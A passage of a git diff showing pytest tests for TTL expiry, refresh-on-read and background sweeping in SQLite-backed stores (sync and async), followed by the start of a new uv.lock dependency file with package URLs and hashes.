ttl_minutes} + ) as store: + store.setup() + + # Store items + store.put(("test",), "item1", {"value": "apple"}) + store.put(("test",), "item2", {"value": "banana"}) + + # Search before expiration + results = store.search(("test",), filter={"value": "apple"}) + assert len(results) == 1 + assert results[0].key == "item1" + + # Wait for TTL to expire + time.sleep(ttl_seconds + 1) + store.sweep_ttl() + + # Search after expiration + results = store.search(("test",), filter={"value": "apple"}) + assert len(results) == 0 + + +@pytest.mark.asyncio +async def test_async_ttl_basic(temp_db_file: str) -> None: + """Test basic TTL functionality with asynchronous API.""" + ttl_seconds = 1 + ttl_minutes = ttl_seconds / 60 + + async with AsyncSqliteStore.from_conn_string( + temp_db_file, ttl={"default_ttl": ttl_minutes} + ) as store: + await store.setup() + + # Store an item with TTL + await store.aput(("test",), "item1", {"value": "test"}) + + # Get the item before expiration + item = await store.aget(("test",), "item1") + assert item is not None + assert item.value["value"] == "test" + + # Wait for TTL to expire + await asyncio.sleep(ttl_seconds + 1.0) + + # Manual sweep needed without the sweeper thread + await store.sweep_ttl() + + # Item should be gone now + item = await store.aget(("test",), "item1") + assert item is None + + +@pytest.mark.asyncio +@pytest.mark.flaky(retries=3) +async def test_async_ttl_refresh(temp_db_file: str) -> None: + """Test TTL refresh on read with async API.""" + ttl_seconds = 1 + ttl_minutes = ttl_seconds / 60 + + async with AsyncSqliteStore.from_conn_string( + temp_db_file, ttl={"default_ttl": ttl_minutes, "refresh_on_read": True} + ) as store: + await store.setup() + + # Store an item with TTL + await store.aput(("test",), "item1", {"value": "test"}) + + # Sleep almost to expiration + await asyncio.sleep(ttl_seconds - 0.5) + + # Get the item and refresh TTL + item = await store.aget(("test",), "item1", refresh_ttl=True) + assert item is not None + + # Sleep again - without refresh, would have expired by now + await asyncio.sleep(ttl_seconds - 0.5) + + # Get the item, should still be there + item = await store.aget(("test",), "item1") + assert item is not None + assert item.value["value"] == "test" + + # Sleep again but don't refresh this time + await asyncio.sleep(ttl_seconds + 1.0) + + # Manual sweep + await store.sweep_ttl() + + # Item should be gone now + item = await store.aget(("test",), "item1") + assert item is None + + +@pytest.mark.asyncio +async def test_async_ttl_sweeper(temp_db_file: str) -> None: + """Test TTL sweeper thread with async API.""" + ttl_seconds = 2 + ttl_minutes = ttl_seconds / 60 + + ttl_config: TTLConfig = { + "default_ttl": ttl_minutes, + "sweep_interval_minutes": ttl_minutes / 2, + } + + async with AsyncSqliteStore.from_conn_string( + temp_db_file, + ttl=ttl_config, + ) as store: + await store.setup() + + # Start the TTL sweeper + await store.start_ttl_sweeper() + + # Store an item with TTL + await store.aput(("test",), "item1", {"value": "test"}) + + # Item should be there initially + item = await store.aget(("test",), "item1") + assert item is not None + + # Wait for TTL to expire and the sweeper to run + await asyncio.sleep(ttl_seconds + (ttl_seconds / 2) + 0.5) + + # Item should be gone now (swept automatically) + item = await store.aget(("test",), "item1") + assert item is None + + # Stop the sweeper + await store.stop_ttl_sweeper() + + +@pytest.mark.asyncio +@pytest.mark.flaky(retries=3) +async def test_async_search_with_ttl(temp_db_file: str) -> None: + """Test TTL with search operations using async API.""" + ttl_seconds = 1 + ttl_minutes = ttl_seconds / 60 + + async with AsyncSqliteStore.from_conn_string( + temp_db_file, ttl={"default_ttl": ttl_minutes} + ) as store: + await store.setup() + + # Store items + await store.aput(("test",), "item1", {"value": "apple"}) + await store.aput(("test",), "item2", {"value": "banana"}) + + # Search before expiration + results = await store.asearch(("test",), filter={"value": "apple"}) + assert len(results) == 1 + assert results[0].key == "item1" + + # Wait for TTL to expire + await asyncio.sleep(ttl_seconds + 1) + await store.sweep_ttl() + + # Search after expiration + results = await store.asearch(("test",), filter={"value": "apple"}) + assert len(results) == 0 + + +@pytest.mark.asyncio +@pytest.mark.flaky(retries=3) +async def test_async_asearch_refresh_ttl(temp_db_file: str) -> None: + """Test TTL refresh on asearch with async API.""" + ttl_seconds = 4.0 # Increased TTL for less sensitivity to timing + ttl_minutes = ttl_seconds / 60.0 + + async with AsyncSqliteStore.from_conn_string( + temp_db_file, ttl={"default_ttl": ttl_minutes, "refresh_on_read": True} + ) as store: + await store.setup() + + namespace = ("docs", "user1") + # t=0: items put, expire at t=4.0s + await store.aput(namespace, "item1", {"text": "content1", "id": 1}) + await store.aput(namespace, "item2", {"text": "content2", "id": 2}) + + # t=3.0s: (after sleep ttl_seconds * 0.75 = 3s) + await asyncio.sleep(ttl_seconds * 0.75) + + # Perform asearch with refresh_ttl=True for item1. + # item1's TTL should be refreshed. New expiry: t=3.0s + 4.0s = t=7.0s. + # item2's TTL is not affected. Expires at t=4.0s. + searched_items = await store.asearch( + namespace, filter={"id": 1}, refresh_ttl=True + ) + assert len(searched_items) == 1 + assert searched_items[0].key == "item1" + + # t=5.0s: (after sleep ttl_seconds * 0.5 = 2s more. Total elapsed: 3s + 2s = 5s) + await asyncio.sleep(ttl_seconds * 0.5) + # At this point: + # - item1 (refreshed by asearch) should expire at t=7.0s. Should be ALIVE. + # - item2 (original TTL) should have expired at t=4.0s. Should be GONE after sweep. + + await store.sweep_ttl() + + # Check item1 (should exist due to asearch refresh) + item1_check1 = await store.aget(namespace, "item1", refresh_ttl=False) + assert item1_check1 is not None, ( + "Item1 should exist after asearch refresh and first sweep" + ) + assert item1_check1.value["text"] == "content1" + + # Check item2 (should be gone) + item2_check1 = await store.aget(namespace, "item2", refresh_ttl=False) + assert item2_check1 is None, ( + "Item2 should be gone after its original TTL expired" + ) + + # t=7.5s: (after sleep ttl_seconds * 0.625 = 2.5s more. Total elapsed: 5s + 2.5s = 7.5s) + await asyncio.sleep(ttl_seconds * 0.625) + # At this point: + # - item1 (refreshed by asearch, expired at t=7.0s) should be GONE after sweep. + + await store.sweep_ttl() + + # Check item1 again (should be gone now) + item1_final_check = await store.aget(namespace, "item1", refresh_ttl=False) + assert item1_final_check is None, ( + "Item1 should be gone after its refreshed TTL expired" + ) diff --git a/libs/checkpoint-sqlite/uv.lock b/libs/checkpoint-sqlite/uv.lock new file mode 100644 index 0000000..5f9a53a --- /dev/null +++ b/libs/checkpoint-sqlite/uv.lock @@ -0,0 +1,1371 @@ +version = 1 +revision = 3 +requires-python = ">=3.10" +resolution-markers = [ + "python_full_version >= '3.15'", + "python_full_version < '3.15'", +] + +[[package]] +name = "aiosqlite" +version = "0.22.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/4e/8a/64761f4005f17809769d23e518d915db74e6310474e733e3593cfc854ef1/aiosqlite-0.22.1.tar.gz", hash = "sha256:043e0bd78d32888c0a9ca90fc788b38796843360c855a7262a532813133a0650", size = 14821, upload-time = "2025-12-23T19:25:43.997Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/00/b7/e3bf5133d697a08128598c8d0abc5e16377b51465a33756de24fa7dee953/aiosqlite-0.22.1-py3-none-any.whl", hash = "sha256:21c002eb13823fad740196c5a2e9d8e62f6243bd9e7e4a1f87fb5e44ecb4fceb", size = 17405, upload-time = "2025-12-23T19:25:42.139Z" }, +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "anyio" +version = "4.12.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/96/f0/5eb65b2bb0d09ac6776f2eb54adee6abe8228ea05b20a5ad0e4945de8aac/anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703", size = 228685, upload-time = "2026-01-06T11:45:21.246Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/38/0e/27be9fdef66e72d64c0cdc3cc2823101b80585f8119b5c112c2e8f5f7dab/anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c", size = 113592, upload-time = "2026-01-06T11:45:19.497Z" }, +] + +[[package]] +name = "backports-asyncio-runner" +version = "1.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8e/ff/70dca7d7cb1cbc0edb2c6cc0c38b65cba36cccc491eca64cabd5fe7f8670/backports_asyncio_runner-1.2.0.tar.gz", hash = "sha256:a5aa7b2b7d8f8bfcaa2b57313f70792df84e32a2a746f585213373f900b42162", size = 69893, upload-time = "2025-07-02T02:27:15.685Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a0/59/76ab57e3fe74484f48a53f8e337171b4a2349e506eabe136d7e01d059086/backports_asyncio_runner-1.2.0-py3-none-any.whl", hash = "sha256:0da0a936a8aeb554eccb426dc55af3ba63bcdc69fa1a600b5bb305413a4477b5", size = 12313, upload-time = "2025-07-02T02:27:14.263Z" }, +] + +[[package]] +name = "certifi" +version = "2026.1.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e0/2d/a891ca51311197f6ad14a7ef42e2399f36cf2f9bd44752b3dc4eab60fdc5/certifi-2026.1.4.tar.gz", hash = "sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120", size = 154268, upload-time = "2026-01-04T02:42:41.825Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e6/ad/3cc14f097111b4de0040c83a525973216457bbeeb63739ef1ed275c1c021/certifi-2026.1.4-py3-none-any.whl", hash = "sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c", size = 152900, upload-time = "2026-01-04T02:42:40.15Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/13/69/33ddede1939fdd074bce5434295f38fae7136463422fe4fd3e0e89b98062/charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a", size = 129418, upload-time = "2025-10-14T04:42:32.879Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1f/b8/6d51fc1d52cbd52cd4ccedd5b5b2f0f6a11bbf6765c782298b0f3e808541/charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d", size = 209709, upload-time = "2025-10-14T04:40:11.385Z" }, + { url = "https://files.pythonhosted.org/packages/5c/af/1f9d7f7faafe2ddfb6f72a2e07a548a629c61ad510fe60f9630309908fef/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8", size = 148814, upload-time = "2025-10-14T04:40:13.135Z" }, + { url = "https://files.pythonhosted.org/packages/79/3d/f2e3ac2bbc056ca0c204298ea4e3d9db9b4afe437812638759db2c976b5f/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad", size = 144467, upload-time = "2025-10-14T04:40:14.728Z" }, + { url = "https://files.pythonhosted.org/packages/ec/85/1bf997003815e60d57de7bd972c57dc6950446a3e4ccac43bc3070721856/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8", size = 162280, upload-time = "2025-10-14T04:40:16.14Z" }, + { url = "https://files.pythonhosted.org/packages/3e/8e/6aa1952f56b192f54921c436b87f2aaf7c7a7c3d0d1a765547d64fd83c13/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d", size = 159454, upload-time = "2025-10-14T04:40:17.567Z" }, + { url = "https://files.pythonhosted.org/packages/36/3b/60cbd1f8e93aa25d1c669c649b7a655b0b5fb4c571858910ea9332678558/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313", size = 153609, upload-time = "2025-10-14T04:40:19.08Z" }, + { url = "https://files.pythonhosted.org/packages/64/91/6a13396948b8fd3c4b4fd5bc74d045f5637d78c9675585e8e9fbe5636554/charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e", size = 151849, upload-time = "2025-10-14T04:40:20.607Z" }, + { url = "https://files.pythonhosted.org/packages/b7/7a/59482e28b9981d105691e968c544cc0df3b7d6133152fb3dcdc8f135da7a/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93", size = 151586, upload-time = "2025-10-14T04:40:21.719Z" }, + { url = "https://files.pythonhosted.org/packages/92/59/f64ef6a1c4bdd2baf892b04cd78792ed8684fbc48d4c2afe467d96b4df57/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0", size = 145290, upload-time = "2025-10-14T04:40:23.069Z" }, + { url = "https://files.pythonhosted.org/packages/6b/63/3bf9f279ddfa641ffa1962b0db6a57a9c294361cc2f5fcac997049a00e9c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84", size = 163663, upload-time = "2025-10-14T04:40:24.17Z" }, + { url = "https://files.pythonhosted.org/packages/ed/09/c9e38fc8fa9e0849b172b581fd9803bdf6e694041127933934184e19f8c3/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e", size = 151964, upload-time = "2025-10-14T04:40:25.368Z" }, + { url = "https://files.pythonhosted.org/packages/d2/d1/d28b747e512d0da79d8b6a1ac18b7ab2ecfd81b2944c4c710e166d8dd09c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db", size = 161064, upload-time = "2025-10-14T04:40:26.806Z" }, + { url = "https://files.pythonhosted.org/packages/bb/9a/31d62b611d901c3b9e5500c36aab0ff5eb442043fb3a1c254200d3d397d9/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6", size = 155015, upload-time = "2025-10-14T04:40:28.284Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f3/107e008fa2bff0c8b9319584174418e5e5285fef32f79d8ee6a430d0039c/charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f", size = 99792, upload-time = "2025-10-14T04:40:29.613Z" }, + { url = "https://files.pythonhosted.org/packages/eb/66/e396e8a408843337d7315bab30dbf106c38966f1819f123257f5520f8a96/charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d", size = 107198, upload-time = "2025-10-14T04:40:30.644Z" }, + { url = "https://files.pythonhosted.org/packages/b5/58/01b4f815bf0312704c267f2ccb6e5d42bcc7752340cd487bc9f8c3710597/charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69", size = 100262, upload-time = "2025-10-14T04:40:32.108Z" }, + { url = "https://files.pythonhosted.org/packages/ed/27/c6491ff4954e58a10f69ad90aca8a1b6fe9c5d3c6f380907af3c37435b59/charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8", size = 206988, upload-time = "2025-10-14T04:40:33.79Z" }, + { url = "https://files.pythonhosted.org/packages/94/59/2e87300fe67ab820b5428580a53cad894272dbb97f38a7a814a2a1ac1011/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0", size = 147324, upload-time = "2025-10-14T04:40:34.961Z" }, + { url = "https://files.pythonhosted.org/packages/07/fb/0cf61dc84b2b088391830f6274cb57c82e4da8bbc2efeac8c025edb88772/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3", size = 142742, upload-time = "2025-10-14T04:40:36.105Z" }, + { url = "https://files.pythonhosted.org/packages/62/8b/171935adf2312cd745d290ed93cf16cf0dfe320863ab7cbeeae1dcd6535f/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc", size = 160863, upload-time = "2025-10-14T04:40:37.188Z" }, + { url = "https://files.pythonhosted.org/packages/09/73/ad875b192bda14f2173bfc1bc9a55e009808484a4b256748d931b6948442/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897", size = 157837, upload-time = "2025-10-14T04:40:38.435Z" }, + { url = "https://files.pythonhosted.org/packages/6d/fc/de9cce525b2c5b94b47c70a4b4fb19f871b24995c728e957ee68ab1671ea/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381", size = 151550, upload-time = "2025-10-14T04:40:40.053Z" }, + { url = "https://files.pythonhosted.org/packages/55/c2/43edd615fdfba8c6f2dfbd459b25a6b3b551f24ea21981e23fb768503ce1/charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815", size = 149162, upload-time = "2025-10-14T04:40:41.163Z" }, + { url = "https://files.pythonhosted.org/packages/03/86/bde4ad8b4d0e9429a4e82c1e8f5c659993a9a863ad62c7df05cf7b678d75/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0", size = 150019, upload-time = "2025-10-14T04:40:42.276Z" }, + { url = "https://files.pythonhosted.org/packages/1f/86/a151eb2af293a7e7bac3a739b81072585ce36ccfb4493039f49f1d3cae8c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161", size = 143310, upload-time = "2025-10-14T04:40:43.439Z" }, + { url = "https://files.pythonhosted.org/packages/b5/fe/43dae6144a7e07b87478fdfc4dbe9efd5defb0e7ec29f5f58a55aeef7bf7/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4", size = 162022, upload-time = "2025-10-14T04:40:44.547Z" }, + { url = "https://files.pythonhosted.org/packages/80/e6/7aab83774f5d2bca81f42ac58d04caf44f0cc2b65fc6db2b3b2e8a05f3b3/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89", size = 149383, upload-time = "2025-10-14T04:40:46.018Z" }, + { url = "https://files.pythonhosted.org/packages/4f/e8/b289173b4edae05c0dde07f69f8db476a0b511eac556dfe0d6bda3c43384/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569", size = 159098, upload-time = "2025-10-14T04:40:47.081Z" }, + { url = "https://files.pythonhosted.org/packages/d8/df/fe699727754cae3f8478493c7f45f777b17c3ef0600e28abfec8619eb49c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224", size = 152991, upload-time = "2025-10-14T04:40:48.246Z" }, + { url = "https://files.pythonhosted.org/packages/1a/86/584869fe4ddb6ffa3bd9f491b87a01568797fb9bd8933f557dba9771beaf/charset_normalizer-3.4.4-cp311-cp311-win32.whl", hash = "sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a", size = 99456, upload-time = "2025-10-14T04:40:49.376Z" }, + { url = "https://files.pythonhosted.org/packages/65/f6/62fdd5feb60530f50f7e38b4f6a1d5203f4d16ff4f9f0952962c044e919a/charset_normalizer-3.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016", size = 106978, upload-time = "2025-10-14T04:40:50.844Z" }, + { url = "https://files.pythonhosted.org/packages/7a/9d/0710916e6c82948b3be62d9d398cb4fcf4e97b56d6a6aeccd66c4b2f2bd5/charset_normalizer-3.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1", size = 99969, upload-time = "2025-10-14T04:40:52.272Z" }, + { url = "https://files.pythonhosted.org/packages/f3/85/1637cd4af66fa687396e757dec650f28025f2a2f5a5531a3208dc0ec43f2/charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394", size = 208425, upload-time = "2025-10-14T04:40:53.353Z" }, + { url = "https://files.pythonhosted.org/packages/9d/6a/04130023fef2a0d9c62d0bae2649b69f7b7d8d24ea5536feef50551029df/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25", size = 148162, upload-time = "2025-10-14T04:40:54.558Z" }, + { url = "https://files.pythonhosted.org/packages/78/29/62328d79aa60da22c9e0b9a66539feae06ca0f5a4171ac4f7dc285b83688/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef", size = 144558, upload-time = "2025-10-14T04:40:55.677Z" }, + { url = "https://files.pythonhosted.org/packages/86/bb/b32194a4bf15b88403537c2e120b817c61cd4ecffa9b6876e941c3ee38fe/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d", size = 161497, upload-time = "2025-10-14T04:40:57.217Z" }, + { url = "https://files.pythonhosted.org/packages/19/89/a54c82b253d5b9b111dc74aca196ba5ccfcca8242d0fb64146d4d3183ff1/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8", size = 159240, upload-time = "2025-10-14T04:40:58.358Z" }, + { url = "https://files.pythonhosted.org/packages/c0/10/d20b513afe03acc89ec33948320a5544d31f21b05368436d580dec4e234d/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86", size = 153471, upload-time = "2025-10-14T04:40:59.468Z" }, + { url = "https://files.pythonhosted.org/packages/61/fa/fbf177b55bdd727010f9c0a3c49eefa1d10f960e5f09d1d887bf93c2e698/charset_normalizer-3.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a", size = 150864, upload-time = "2025-10-14T04:41:00.623Z" }, + { url = "https://files.pythonhosted.org/packages/05/12/9fbc6a4d39c0198adeebbde20b619790e9236557ca59fc40e0e3cebe6f40/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f", size = 150647, upload-time = "2025-10-14T04:41:01.754Z" }, + { url = "https://files.pythonhosted.org/packages/ad/1f/6a9a593d52e3e8c5d2b167daf8c6b968808efb57ef4c210acb907c365bc4/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc", size = 145110, upload-time = "2025-10-14T04:41:03.231Z" }, + { url = "https://files.pythonhosted.org/packages/30/42/9a52c609e72471b0fc54386dc63c3781a387bb4fe61c20231a4ebcd58bdd/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf", size = 162839, upload-time = "2025-10-14T04:41:04.715Z" }, + { url = "https://files.pythonhosted.org/packages/c4/5b/c0682bbf9f11597073052628ddd38344a3d673fda35a36773f7d19344b23/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15", size = 150667, upload-time = "2025-10-14T04:41:05.827Z" }, + { url = "https://files.pythonhosted.org/packages/e4/24/a41afeab6f990cf2daf6cb8c67419b63b48cf518e4f56022230840c9bfb2/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9", size = 160535, upload-time = "2025-10-14T04:41:06.938Z" }, + { url = "https://files.pythonhosted.org/packages/2a/e5/6a4ce77ed243c4a50a1fecca6aaaab419628c818a49434be428fe24c9957/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0", size = 154816, upload-time = "2025-10-14T04:41:08.101Z" }, + { url = "https://files.pythonhosted.org/packages/a8/ef/89297262b8092b312d29cdb2517cb1237e51db8ecef2e9af5edbe7b683b1/charset_normalizer-3.4.4-cp312-cp312-win32.whl", hash = "sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26", size = 99694, upload-time = "2025-10-14T04:41:09.23Z" }, + { url = "https://files.pythonhosted.org/packages/3d/2d/1e5ed9dd3b3803994c155cd9aacb60c82c331bad84daf75bcb9c91b3295e/charset_normalizer-3.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525", size = 107131, upload-time = "2025-10-14T04:41:10.467Z" }, + { url = "https://files.pythonhosted.org/packages/d0/d9/0ed4c7098a861482a7b6a95603edce4c0d9db2311af23da1fb2b75ec26fc/charset_normalizer-3.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3", size = 100390, upload-time = "2025-10-14T04:41:11.915Z" }, + { url = "https://files.pythonhosted.org/packages/97/45/4b3a1239bbacd321068ea6e7ac28875b03ab8bc0aa0966452db17cd36714/charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794", size = 208091, upload-time = 